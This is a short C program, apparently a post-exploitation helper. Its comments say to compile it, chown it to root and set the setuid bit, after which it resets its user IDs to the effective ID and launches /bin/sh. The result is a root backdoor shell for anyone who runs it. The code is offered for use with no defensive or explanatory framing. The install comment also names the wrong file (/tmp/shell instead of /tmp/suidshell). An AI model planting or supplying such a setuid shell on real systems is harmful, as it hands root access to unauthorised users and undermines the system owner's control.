Suid /bin/sh helper

suidshell.c

/*
 * root@libcrack.so
 * Sun Jan 29 06:57:23 CET 2017
 *
 * gcc -o /tmp/suidshell suidshell.c
 * chown root /tmp/shell
 * chmod +s /tmp/shell
 */

#define _GNU_SOURCE

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
    uid_t euid;

    char *envp[] = { NULL };
    char *argv[] = { "/bin/sh", NULL };

    euid = geteuid();

    // if ( setresuid(euid, euid, euid) == -1 ){
    if ( setreuid(euid, euid) == -1 ){
        perror("setresuid");
        return EXIT_FAILURE;
    }

    // if ( execl("/bin/bash", "/bin/bash",  NULL) == -1 ) {
    if ( execve("/bin/sh", argv, envp) == -1 ){
        perror("execl");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}